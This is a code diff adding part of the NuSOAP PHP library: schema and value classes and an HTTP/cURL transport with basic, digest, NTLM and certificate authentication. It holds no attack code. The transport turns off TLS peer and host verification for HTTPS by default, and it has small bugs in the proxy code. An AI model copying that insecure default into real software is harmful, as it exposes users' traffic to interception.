+ * adds an element to the schema + * + * @param array $attrs attributes that must include name and type + * @see nusoap_xmlschema + * @access public + */ + function addElement($attrs) { + if (! $this->getPrefix($attrs['type'])) { + $attrs['type'] = $this->schemaTargetNamespace . ':' . $attrs['type']; + } + $this->elements[ $attrs['name'] ] = $attrs; + $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; + + $this->xdebug("addElement " . $attrs['name']); + $this->appendDebug($this->varDump($this->elements[ $attrs['name'] ])); + } +} + +/** + * Backward compatibility + */ +class XMLSchema extends nusoap_xmlschema { +} + +?> +* @version $Id$ +* @access public +*/ +class soapval extends nusoap_base { + /** + * The XML element name + * + * @var string + * @access private + */ + var $name; + /** + * The XML type name (string or false) + * + * @var mixed + * @access private + */ + var $type; + /** + * The PHP value + * + * @var mixed + * @access private + */ + var $value; + /** + * The XML element namespace (string or false) + * + * @var mixed + * @access private + */ + var $element_ns; + /** + * The XML type namespace (string or false) + * + * @var mixed + * @access private + */ + var $type_ns; + /** + * The XML element attributes (array or false) + * + * @var mixed + * @access private + */ + var $attributes; + + /** + * constructor + * + * @param string $name optional name + * @param mixed $type optional type name + * @param mixed $value optional value + * @param mixed $element_ns optional namespace of value + * @param mixed $type_ns optional namespace of type + * @param mixed $attributes associative array of attributes to add to element serialization + * @access public + */ + function soapval($name='soapval',$type=false,$value=-1,$element_ns=false,$type_ns=false,$attributes=false) { + parent::nusoap_base(); + $this->name = $name; + $this->type = $type; + $this->value = $value; + $this->element_ns = $element_ns; + $this->type_ns = $type_ns; + $this->attributes = $attributes; + } + + /** + * return serialized value + * + * @param string $use The WSDL use value (encoded|literal) + * @return string XML data + * @access public + */ + function serialize($use='encoded') { + return $this->serialize_val($this->value, $this->name, $this->type, $this->element_ns, $this->type_ns, $this->attributes, $use, true); + } + + /** + * decodes a soapval object into a PHP native type + * + * @return mixed + * @access public + */ + function decode(){ + return $this->value; + } +} + + + +?> +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class soap_transport_http extends nusoap_base { + + var $url = ''; + var $uri = ''; + var $digest_uri = ''; + var $scheme = ''; + var $host = ''; + var $port = ''; + var $path = ''; + var $request_method = 'POST'; + var $protocol_version = '1.0'; + var $encoding = ''; + var $outgoing_headers = array(); + var $incoming_headers = array(); + var $incoming_cookies = array(); + var $outgoing_payload = ''; + var $incoming_payload = ''; + var $response_status_line; // HTTP response status line + var $useSOAPAction = true; + var $persistentConnection = false; + var $ch = false; // cURL handle + var $ch_options = array(); // cURL custom options + var $use_curl = false; // force cURL use + var $proxy = null; // proxy information (associative array) + var $username = ''; + var $password = ''; + var $authtype = ''; + var $digestRequest = array(); + var $certRequest = array(); // keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional) + // cainfofile: certificate authority file, e.g. '$pathToPemFiles/rootca.pem' + // sslcertfile: SSL certificate file, e.g. '$pathToPemFiles/mycert.pem' + // sslkeyfile: SSL key file, e.g. '$pathToPemFiles/mykey.pem' + // passphrase: SSL key password/passphrase + // certpassword: SSL certificate password + // verifypeer: default is 1 + // verifyhost: default is 1 + + /** + * constructor + * + * @param string $url The URL to which to connect + * @param array $curl_options User-specified cURL options + * @param boolean $use_curl Whether to try to force cURL use + * @access public + */ + function soap_transport_http($url, $curl_options = NULL, $use_curl = false){ + parent::nusoap_base(); + $this->debug("ctor url=$url use_curl=$use_curl curl_options:"); + $this->appendDebug($this->varDump($curl_options)); + $this->setURL($url); + if (is_array($curl_options)) { + $this->ch_options = $curl_options; + } + $this->use_curl = $use_curl; + preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); + $revision = isset($rev[1]) ? ' ('.$rev[1].')' : null; + $this->setHeader('User-Agent', $this->title.'/'.$this->version.$revision); + } + + /** + * sets a cURL option + * + * @param mixed $option The cURL option (always integer?) + * @param mixed $value The cURL option value + * @access private + */ + function setCurlOption($option, $value) { + $this->debug("setCurlOption option=$option, value="); + $this->appendDebug($this->varDump($value)); + curl_setopt($this->ch, $option, $value); + } + + /** + * sets an HTTP header + * + * @param string $name The name of the header + * @param string $value The value of the header + * @access private + */ + function setHeader($name, $value) { + $this->outgoing_headers[$name] = $value; + $this->debug("set header $name: $value"); + } + + /** + * unsets an HTTP header + * + * @param string $name The name of the header + * @access private + */ + function unsetHeader($name) { + if (isset($this->outgoing_headers[$name])) { + $this->debug("unset header $name"); + unset($this->outgoing_headers[$name]); + } + } + + /** + * sets the URL to which to connect + * + * @param string $url The URL to which to connect + * @access private + */ + function setURL($url) { + $this->url = $url; + + $u = parse_url($url); + foreach($u as $k => $v){ + $this->debug("parsed URL $k = $v"); + $this->$k = $v; + } + + // add any GET params to path + if(isset($u['query']) && $u['query'] != ''){ + $this->path .= '?' . $u['query']; + } + + // set default port + if(!isset($u['port'])){ + if($u['scheme'] == 'https'){ + $this->port = 443; + } else { + $this->port = 80; + } + } + + $this->uri = $this->path; + $this->digest_uri = $this->uri; + + // build headers + if (!isset($u['port'])) { + $this->setHeader('Host', $this->host); + } else { + $this->setHeader('Host', $this->host.':'.$this->port); + } + + if (isset($u['user']) && $u['user'] != '') { + $this->setCredentials(urldecode($u['user']), isset($u['pass']) ? urldecode($u['pass']) : ''); + } + } + + /** + * gets the I/O method to use + * + * @return string I/O method to use (socket|curl|unknown) + * @access private + */ + function io_method() { + if ($this->use_curl || ($this->scheme == 'https') || ($this->scheme == 'http' && $this->authtype == 'ntlm') || ($this->scheme == 'http' && is_array($this->proxy) && $this->proxy['authtype'] == 'ntlm')) + return 'curl'; + if (($this->scheme == 'http' || $this->scheme == 'ssl') && $this->authtype != 'ntlm' && (!is_array($this->proxy) || $this->proxy['authtype'] != 'ntlm')) + return 'socket'; + return 'unknown'; + } + + /** + * establish an HTTP connection + * + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @return boolean true if connected, false if not + * @access private + */ + function connect($connection_timeout=0,$response_timeout=30){ + // For PHP 4.3 with OpenSSL, change https scheme to ssl, then treat like + // "regular" socket. + // TODO: disabled for now because OpenSSL must be *compiled* in (not just + // loaded), and until PHP5 stream_get_wrappers is not available. +// if ($this->scheme == 'https') { +// if (version_compare(phpversion(), '4.3.0') >= 0) { +// if (extension_loaded('openssl')) { +// $this->scheme = 'ssl'; +// $this->debug('Using SSL over OpenSSL'); +// } +// } +// } + $this->debug("connect connection_timeout $connection_timeout, response_timeout $response_timeout, scheme $this->scheme, host $this->host, port $this->port"); + if ($this->io_method() == 'socket') { + if (!is_array($this->proxy)) { + $host = $this->host; + $port = $this->port; + } else { + $host = $this->proxy['host']; + $port = $this->proxy['port']; + } + + // use persistent connection + if($this->persistentConnection && isset($this->fp) && is_resource($this->fp)){ + if (!feof($this->fp)) { + $this->debug('Re-use persistent connection'); + return true; + } + fclose($this->fp); + $this->debug('Closed persistent connection at EOF'); + } + + // munge host if using OpenSSL + if ($this->scheme == 'ssl') { + $host = 'ssl://' . $host; + } + $this->debug('calling fsockopen with host ' . $host . ' connection_timeout ' . $connection_timeout); + + // open socket + if($connection_timeout > 0){ + $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str, $connection_timeout); + } else { + $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str); + } + + // test pointer + if(!$this->fp) { + $msg = 'Couldn\'t open socket connection to server ' . $this->url; + if ($this->errno) { + $msg .= ', Error ('.$this->errno.'): '.$this->error_str; + } else { + $msg .= ' prior to connect(). This is often a problem looking up the host name.'; + } + $this->debug($msg); + $this->setError($msg); + return false; + } + + // set response timeout + $this->debug('set response timeout to ' . $response_timeout); + socket_set_timeout( $this->fp, $response_timeout); + + $this->debug('socket connected'); + return true; + } else if ($this->io_method() == 'curl') { + if (!extension_loaded('curl')) { +// $this->setError('cURL Extension, or OpenSSL extension w/ PHP version >= 4.3 is required for HTTPS'); + $this->setError('The PHP cURL Extension is required for HTTPS or NLTM. You will need to re-build or update your PHP to include cURL or change php.ini to load the PHP cURL extension.'); + return false; + } + // Avoid warnings when PHP does not have these options + if (defined('CURLOPT_CONNECTIONTIMEOUT')) + $CURLOPT_CONNECTIONTIMEOUT = CURLOPT_CONNECTIONTIMEOUT; + else + $CURLOPT_CONNECTIONTIMEOUT = 78; + if (defined('CURLOPT_HTTPAUTH')) + $CURLOPT_HTTPAUTH = CURLOPT_HTTPAUTH; + else + $CURLOPT_HTTPAUTH = 107; + if (defined('CURLOPT_PROXYAUTH')) + $CURLOPT_PROXYAUTH = CURLOPT_PROXYAUTH; + else + $CURLOPT_PROXYAUTH = 111; + if (defined('CURLAUTH_BASIC')) + $CURLAUTH_BASIC = CURLAUTH_BASIC; + else + $CURLAUTH_BASIC = 1; + if (defined('CURLAUTH_DIGEST')) + $CURLAUTH_DIGEST = CURLAUTH_DIGEST; + else + $CURLAUTH_DIGEST = 2; + if (defined('CURLAUTH_NTLM')) + $CURLAUTH_NTLM = CURLAUTH_NTLM; + else + $CURLAUTH_NTLM = 8; + + $this->debug('connect using cURL'); + // init CURL + $this->ch = curl_init(); + // set url + $hostURL = ($this->port != '') ? "$this->scheme://$this->host:$this->port" : "$this->scheme://$this->host"; + // add path + $hostURL .= $this->path; + $this->setCurlOption(CURLOPT_URL, $hostURL); + // follow location headers (re-directs) + if (ini_get('safe_mode') || ini_get('open_basedir')) { + $this->debug('safe_mode or open_basedir set, so do not set CURLOPT_FOLLOWLOCATION'); + $this->debug('safe_mode = '); + $this->appendDebug($this->varDump(ini_get('safe_mode'))); + $this->debug('open_basedir = '); + $this->appendDebug($this->varDump(ini_get('open_basedir'))); + } else { + $this->setCurlOption(CURLOPT_FOLLOWLOCATION, 1); + } + // ask for headers in the response output + $this->setCurlOption(CURLOPT_HEADER, 1); + // ask for the response output as the return value + $this->setCurlOption(CURLOPT_RETURNTRANSFER, 1); + // encode + // We manage this ourselves through headers and encoding +// if(function_exists('gzuncompress')){ +// $this->setCurlOption(CURLOPT_ENCODING, 'deflate'); +// } + // persistent connection + if ($this->persistentConnection) { + // I believe the following comment is now bogus, having applied to + // the code when it used CURLOPT_CUSTOMREQUEST to send the request. + // The way we send data, we cannot use persistent connections, since + // there will be some "junk" at the end of our request. + //$this->setCurlOption(CURL_HTTP_VERSION_1_1, true); + $this->persistentConnection = false; + $this->setHeader('Connection', 'close'); + } + // set timeouts + if ($connection_timeout != 0) { + $this->setCurlOption($CURLOPT_CONNECTIONTIMEOUT, $connection_timeout); + } + if ($response_timeout != 0) { + $this->setCurlOption(CURLOPT_TIMEOUT, $response_timeout); + } + + if ($this->scheme == 'https') { + $this->debug('set cURL SSL verify options'); + // recent versions of cURL turn on peer/host checking by default, + // while PHP binaries are not compiled with a default location for the + // CA cert bundle, so disable peer/host checking. + //$this->setCurlOption(CURLOPT_CAINFO, 'f:\php-4.3.2-win32\extensions\curl-ca-bundle.crt'); + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 0); + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 0); + + // support client certificates (thanks Tobias Boes, Doug Anarino, Eryan Ariobowo) + if ($this->authtype == 'certificate') { + $this->debug('set cURL certificate options'); + if (isset($this->certRequest['cainfofile'])) { + $this->setCurlOption(CURLOPT_CAINFO, $this->certRequest['cainfofile']); + } + if (isset($this->certRequest['verifypeer'])) { + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, $this->certRequest['verifypeer']); + } else { + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 1); + } + if (isset($this->certRequest['verifyhost'])) { + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, $this->certRequest['verifyhost']); + } else { + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 1); + } + if (isset($this->certRequest['sslcertfile'])) { + $this->setCurlOption(CURLOPT_SSLCERT, $this->certRequest['sslcertfile']); + } + if (isset($this->certRequest['sslkeyfile'])) { + $this->setCurlOption(CURLOPT_SSLKEY, $this->certRequest['sslkeyfile']); + } + if (isset($this->certRequest['passphrase'])) { + $this->setCurlOption(CURLOPT_SSLKEYPASSWD, $this->certRequest['passphrase']); + } + if (isset($this->certRequest['certpassword'])) { + $this->setCurlOption(CURLOPT_SSLCERTPASSWD, $this->certRequest['certpassword']); + } + } + } + if ($this->authtype && ($this->authtype != 'certificate')) { + if ($this->username) { + $this->debug('set cURL username/password'); + $this->setCurlOption(CURLOPT_USERPWD, "$this->username:$this->password"); + } + if ($this->authtype == 'basic') { + $this->debug('set cURL for Basic authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_BASIC); + } + if ($this->authtype == 'digest') { + $this->debug('set cURL for digest authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_DIGEST); + } + if ($this->authtype == 'ntlm') { + $this->debug('set cURL for NTLM authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_NTLM); + } + } + if (is_array($this->proxy)) { + $this->debug('set cURL proxy options'); + if ($this->proxy['port'] != '') { + $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host'].':'.$this->proxy['port']); + } else { + $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host']); + } + if ($this->proxy['username'] || $this->proxy['password']) { + $this->debug('set cURL proxy authentication options'); + $this->setCurlOption(CURLOPT_PROXYUSERPWD, $this->proxy['username'].':'.$this->proxy['password']); + if ($this->proxy['authtype'] == 'basic') { + $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_BASIC); + } + if ($this->proxy['authtype'] == 'ntlm') { + $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_NTLM); + } + } + } + $this->debug('cURL connection set up'); + return true; + } else { + $this->setError('Unknown scheme ' . $this->scheme); + $this->debug('Unknown scheme ' . $this->scheme); + return false; + } + } + + /** + * sends the SOAP request and gets the SOAP response via HTTP[S] + * + * @param string $data message data + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @param array $cookies cookies to send + * @return string data + * @access public + */ + function send($data, $timeout=0, $response_timeout=30, $cookies=NULL) { + + $this->debug('entered send() with data of length: '.strlen($data)); + + $this->tryagain = true; + $tries = 0; + while ($this->tryagain) { + $this->tryagain = false; + if ($tries++ < 2) { + // make connnection + if (!$this->connect($timeout, $response_timeout)){ + return false; + } + + // send request + if (!$this->sendRequest($data, $cookies)){ + return false; + } + + // get response + $respdata = $this->getResponse(); + } else { + $this->setError("Too many tries to get an OK response ($this->response_status_line)"); + } + } + $this->debug('end of send()'); + return $respdata; + } + + + /** + * sends the SOAP request and gets the SOAP response via HTTPS using CURL + * + * @param string $data message data + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @param array $cookies cookies to send + * @return string data + * @access public + * @deprecated + */ + function sendHTTPS($data, $timeout=0, $response_timeout=30, $cookies) { + return $this->send($data, $timeout, $response_timeout, $cookies); + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $digestRequest (keys must be nonce, nc, realm, qop) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $digestRequest = array(), $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype digestRequest="); + $this->appendDebug($this->varDump($digestRequest)); + $this->debug("certRequest="); + $this->appendDebug($this->varDump($certRequest)); + // cf. RFC 2617 + if ($authtype == 'basic') { + $this->setHeader('Authorization', 'Basic '.base64_encode(str_replace(':','',$username).':'.$password)); + } elseif ($authtype == 'digest') { + if (isset($digestRequest['nonce'])) { + $digestRequest['nc'] = isset($digestRequest['nc']) ? $digestRequest['nc']++ : 1; + + // calculate the Digest hashes (calculate code based on digest implementation found at: http://www.rassoc.com/gregr/weblog/stories/2002/07/09/webServicesSecurityHttpDigestAuthenticationWithoutActiveDirectory.html) + + // A1 = unq(username-value) ":" unq(realm-value) ":" passwd + $A1 = $username. ':' . (isset($digestRequest['realm']) ? $digestRequest['realm'] : '') . ':' . $password; + + // H(A1) = MD5(A1) + $HA1 = md5($A1); + + // A2 = Method ":" digest-uri-value + $A2 = $this->request_method . ':' . $this->digest_uri; + + // H(A2) + $HA2 = md5($A2); + + // KD(secret, data) = H(concat(secret, ":", data)) + // if qop == auth: + // request-digest = <"> < KD ( H(A1), unq(nonce-value) + // ":" nc-value + // ":" unq(cnonce-value) + // ":" unq(qop-value) + // ":" H(A2) + // ) <"> + // if qop is missing, + // request-digest = <"> < KD ( H(A1), unq(nonce-value) ":" H(A2) ) > <"> + + $unhashedDigest = ''; + $nonce = isset($digestRequest['nonce']) ? $digestRequest['nonce'] : ''; + $cnonce = $nonce; + if ($digestRequest['qop'] != '') { + $unhashedDigest = $HA1 . ':' . $nonce . ':' . sprintf("%08d", $digestRequest['nc']) . ':' . $cnonce . ':' . $digestRequest['qop'] . ':' . $HA2; + } else { + $unhashedDigest = $HA1 . ':' . $nonce . ':' . $HA2; + } + + $hashedDigest = md5($unhashedDigest); + + $opaque = ''; + if (isset($digestRequest['opaque'])) { + $opaque = ', opaque="' . $digestRequest['opaque'] . '"'; + } + + $this->setHeader('Authorization', 'Digest username="' . $username . '", realm="' . $digestRequest['realm'] . '", nonce="' . $nonce . '", uri="' . $this->digest_uri . $opaque . '", cnonce="' . $cnonce . '", nc=' . sprintf("%08x", $digestRequest['nc']) . ', qop="' . $digestRequest['qop'] . '", response="' . $hashedDigest . '"'); + } + } elseif ($authtype == 'certificate') { + $this->certRequest = $certRequest; + $this->debug('Authorization header not set for certificate'); + } elseif ($authtype == 'ntlm') { + // do nothing + $this->debug('Authorization header not set for ntlm'); + } + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->digestRequest = $digestRequest; + } + + /** + * set the soapaction value + * + * @param string $soapaction + * @access public + */ + function setSOAPAction($soapaction) { + $this->setHeader('SOAPAction', '"' . $soapaction . '"'); + } + + /** + * use http encoding + * + * @param string $enc encoding style. supported values: gzip, deflate, or both + * @access public + */ + function setEncoding($enc='gzip, deflate') { + if (function_exists('gzdeflate')) { + $this->protocol_version = '1.1'; + $this->setHeader('Accept-Encoding', $enc); + if (!isset($this->outgoing_headers['Connection'])) { + $this->setHeader('Connection', 'close'); + $this->persistentConnection = false; + } + // deprecated as of PHP 5.3.0 + //set_magic_quotes_runtime(0); + $this->encoding = $enc; + } + } + + /** + * set proxy info here + * + * @param string $proxyhost use an empty string to remove proxy + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @param string $proxyauthtype (basic|ntlm) + * @access public + */ + function setProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '', $proxyauthtype = 'basic') { + if ($proxyhost) { + $this->proxy = array( + 'host' => $proxyhost, + 'port' => $proxyport, + 'username' => $proxyusername, + 'password' => $proxypassword, + 'authtype' => $proxyauthtype + ); + if ($proxyusername != '' && $proxypassword != '' && $proxyauthtype = 'basic') { + $this->setHeader('Proxy-Authorization', ' Basic '.base64_encode($proxyusername.':'.$proxypassword)); + } + } else { + $this->debug('remove proxy'); + $proxy = null; + unsetHeader('Proxy-Authorization'); + } + } + + + /** + * Test if the given string starts with a header that is to be skipped. + * Skippable headers result from chunked transfer and proxy requests. + * + * @param string $data The string to check. + * @returns boolean Whether a skippable header was found. + * @access private + */ + function isSkippableCurlHeader(&$data) { + $skipHeaders = array( 'HTTP/1.1 100', + 'HTTP/1.0 301', + 'HTTP/1.1 301', + 'HTTP/1.0 302', + 'HTTP/1.1 302', + 'HTTP/1.0 401', + 'HTTP/1.1 401', + 'HTTP/1.0 200 Connection established'); + foreach ($skipHeaders as $hd) { + $prefix = substr($data, 0, strlen($hd)); + if ($prefix == $hd) return true; + } + + return false; + } + + /** + * decode a string that is encoded w/ "chunked' transfer encoding + * as defined in RFC2068 19.4.6 + * + * @param string $buffer + * @param string $lb + * @returns string + * @access public + * @deprecated + */ + function decodeChunked($buffer, $lb){ + // length := 0 + $length = 0; + $new = ''; + + // read chunk-size, chunk-extension (if any) and CRLF + // get the position of the linebreak + $chunkend = strpos($buffer, $lb); + if ($chunkend == FALSE) { + $this->debug('no linebreak found in decodeChunked'); + return $new; + } + $temp = substr($buffer,0,$chunkend); + $chunk_size = hexdec( trim($temp) ); + $chunkstart = $chunkend + strlen($lb); + // while (chunk-size > 0) { + while ($chunk_size > 0) { + $this->debug("chunkstart: $chunkstart chunk_size: $chunk_size"); + $chunkend = strpos( $buffer, $lb, $chunkstart + $chunk_size); + + // Just in case we got a broken connection + if ($chunkend == FALSE) { + $chunk = substr($buffer,$chunkstart); + // append chunk-data to entity-body + $new .= $chunk; + $length += strlen($chunk); + break; + } + + // read chunk-data and CRLF + $chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart); + // append chunk-data to entity-body + $new .= $chunk; + // length := length + chunk-size + $length += strlen($chunk); + // read chunk-size and CRLF + $chunkstart = $chunkend + strlen($lb); + + $chunkend = strpos($buffer, $lb, $chunkstart) + strlen($lb); + if ($chunkend == FALSE) { + break; //Just in case we got a broken connection + } + $temp = substr($buffer,$chunkstart,$chunkend-$chunkstart); + $chunk_size = hexdec( trim($temp) ); + $chunkstart = $chunkend; + } + return $new; + } + + /** + * Writes the payload, including HTTP headers, to $this->outgoing_payload. + * + * @param string $data HTTP body + * @param string $cookie_str data for HTTP Cookie header + * @return void + * @access private + */ + function buildPayload($data, $cookie_str = '') { + // Note: for cURL connections, $this->outgoing_payload is ignored, + // as is the Content-Length header, but these are still created as + // debugging guides. + + // add content-length header + if ($this->request_method != 'GET') { + $this->setHeader('Content-Length', strlen($data)); + } + + // start building outgoing payload: + if ($this->proxy) { + $uri = $this->url; + } else { + $uri = $this->uri; + } + $req = "$this->request_method $uri HTTP/$this->protocol_version"; + $this->debug("HTTP request: $req"); + $this->outgoing_payload = "$req\r\n"; + + // loop thru headers, serializing + foreach($this->outgoing_headers as $k => $v){ + $hdr = $k.': '.$v; + $this->debug("HTTP header: $hdr"); + $this->outgoing_payload .= "$hdr\r\n"; + } + + // add any cookies + if ($cookie_str != '') { + $hdr = 'Cookie: '.$cookie_str; + $this->debug("HTTP header: $hdr"); + $this->outgoing_payload .= "$hdr\r\n"; + } + + // header/body separator + $this->outgoing_payload .= "\r\n"; + + // add data + $this->outgoing_payload .= $data; + } + + /** + * sends the SOAP request via HTTP[S] + * + * @param string $data message data + * @param array $cookies cookies to send + * @return boolean true if OK, false if problem + * @access private + */ + function sendRequest($data, $cookies = NULL) { + // build cookie string + $cookie_str = $this->getCookiesForRequest($cookies, (($this->scheme == 'ssl') || ($this->scheme == 'https'))); + + // build payload + $this->buildPayload($data, $cookie_str); + + if ($this->io_method() == 'socket') { + // send payload + if(!fputs($this->fp, $this->outgoing_payload, strlen($this->outgoing_payload))) { + $this->setError('couldn\'t write message data to socket'); + $this->debug('couldn\'t write message data to socket'); + return false; + } + $this->debug('wrote data to socket, length = ' . strlen($this->outgoing_payload)); + return true; + } else if ($this->io_method() == 'curl') { + // set payload + // cURL does say this should only be the verb, and in fact it + // turns out that the URI and HTTP version are appended to this, which + // some servers refuse to work with (so we no longer use this method!) + //$this->setCurlOption(CURLOPT_CUSTOMREQUEST, $this->outgoing_payload); + $curl_headers = array(); + foreach($this->outgoing_headers as $k => $v){ + if ($k == 'Connection' || $k == 'Content-Length' || $k == 'Host' || $k == 'Authorization' || $k == 'Proxy-Authorization') { + $this->debug("Skip cURL header $k: $v"); + } else { + $curl_headers[] = "$k: $v"; + } + } + if ($cookie_str != '') { + $curl_headers[] = 'Cookie: ' . $cookie_str; + } + $this->setCurlOption(CURLOPT_HTTPHEADER, $curl_headers); + $this->debug('set cURL HTTP headers'); + if ($this->request_method == "POST") { + $this->setCurlOption(CURLOPT_POST, 1); + $this->setCurlOption(CURLOPT_POSTFIELDS, $data); + $this->debug('set cURL POST data'); + } else { + } + // insert custom user-set cURL options + foreach ($this->ch_options as $key => $val) { + $this->setCurlOption($key, $val); + } + + $this->debug('set cURL payload'); + return true; + } + } + + /** + * gets the SOAP response via HTTP[S] + * + * @return string the response (also sets member variables like incoming_payload) + * @access private + */ + function getResponse(){ + $this->incoming_payload = ''; + + if ($this->io_method() == 'socket') { + // loop until headers have been retrieved + $data = ''; + while (!isset($lb)){ + + // We might EOF during header read. + if(feof($this->fp)) { + $this->incoming_payload = $data; + $this->debug('found no headers before EOF after length ' . strlen($data)); + $this->debug("received before EOF:\n" . $data); + $this->setError('server failed to send headers'); + return false; + } + + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read line of $tmplen bytes: " . trim($tmp)); + + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of headers timed out after length ' . strlen($data)); + $this->debug("read before timeout: " . $data); + $this->setError('socket read of headers timed out'); + return false; + } + + $data .= $tmp; + $pos = strpos($data,"\r\n\r\n"); + if($pos > 1){ + $lb = "\r\n"; + } else { + $pos = strpos($data,"\n\n"); + if($pos > 1){ + $lb = "\n"; + } + } + // remove 100 headers + if (isset($lb) && preg_match('/^HTTP\/1.1 100/',$data)) { + unset($lb); + $data = ''; + }// + } + // store header data + $this->incoming_payload .= $data; + $this->debug('found end of headers after length ' . strlen($data)); + // process headers + $header_data = trim(substr($data,0,$pos)); + $header_array = explode($lb,$header_data); + $this->incoming_headers = array(); + $this->incoming_cookies = array(); + foreach($header_array as $header_line){ + $arr = explode(':',$header_line, 2); + if(count($arr) > 1){ + $header_name = strtolower(trim($arr[0])); + $this->incoming_headers[$header_name] = trim($arr[1]); + if ($header_name == 'set-cookie') { + // TODO: allow multiple cookies from parseCookie + $cookie = $this->parseCookie(trim($arr[1])); + if ($cookie) { + $this->incoming_cookies[] = $cookie; + $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); + } else { + $this->debug('did not find cookie in ' . trim($arr[1])); + } + } + } else if (isset($header_name)) { + // append continuation line to previous header + $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; + } + } + + // loop until msg has been received + if (isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked') { + $content_length = 2147483647; // ignore any content-length header + $chunked = true; + $this->debug("want to read chunked content"); + } elseif (isset($this->incoming_headers['content-length'])) { + $content_length = $this->incoming_headers['content-length']; + $chunked = false; + $this->debug("want to read content of length $content_length"); + } else { + $content_length = 2147483647; + $chunked = false; + $this->debug("want to read content to EOF"); + } + $data = ''; + do { + if ($chunked) { + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read chunk line of $tmplen bytes"); + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of chunk length timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of chunk length timed out'); + return false; + } + $content_length = hexdec(trim($tmp)); + $this->debug("chunk length $content_length"); + } + $strlen = 0; + while (($strlen < $content_length) && (!feof($this->fp))) { + $readlen = min(8192, $content_length - $strlen); + $tmp = fread($this->fp, $readlen); + $tmplen = strlen($tmp); + $this->debug("read buffer of $tmplen bytes"); + if (($tmplen == 0) && (!feof($this->fp))) { + $this->incoming_payload = $data; + $this->debug('socket read of body timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of body timed out'); + return false; + } + $strlen += $tmplen; + $data .= $tmp; + } + if ($chunked && ($content_length > 0)) { + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read chunk terminator of $tmplen bytes"); + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of chunk terminator timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of chunk terminator timed out'); + return false; + } + } + } while ($chunked && ($content_length > 0) && (!feof($this->fp))); + if (feof($this->fp)) { + $this->debug('read to EOF'); + } + $this->debug('read body of length ' . strlen($data)); + $this->incoming_payload .= $data; + $this->debug('received a total of '.strlen($this->incoming_payload).' bytes of data from server'); + + // close filepointer + if( + (isset($this->incoming_headers['connection']) && strtolower($this->incoming_headers['connection']) == 'close') || + (! $this->persistentConnection) || feof($this->fp)){ + fclose($this->fp); + $this->fp = false; + $this->debug('closed socket'); + } + + // connection was closed unexpectedly + if($this->incoming_payload == ''){ + $this->setError('no response from server'); + return false; + } + + // decode transfer-encoding +// if(isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked'){ +// if(!$data = $this->decodeChunked($data, $lb)){ +// $this->setError('Decoding of chunked data failed'); +// return false; +// } + //print "
        \nde-chunked:\n---------------\n$data\n\n---------------\n
        "; + // set decoded payload +// $this->incoming_payload = $header_data.$lb.$lb.$data; +// } + + } else if ($this->io_method() == 'curl') { + // send and receive + $this->debug('send and receive with cURL'); + $this->incoming_payload = curl_exec($this->ch); + $data = $this->incoming_payload; + + $cErr = curl_error($this->ch); + if ($cErr != '') { + $err = 'cURL ERROR: '.curl_errno($this->ch).': '.$cErr.'
        '; + // TODO: there is a PHP bug that can cause this to SEGV for CURLINFO_CONTENT_TYPE + foreach(curl_getinfo($this->ch) as $k => $v){ + $err .= "$k: $v
        "; + } + $this->debug($err); + $this->setError($err); + curl_close($this->ch); + return false; + } else { + //echo '
        ';
        +			//var_dump(curl_getinfo($this->ch));
        +			//echo '
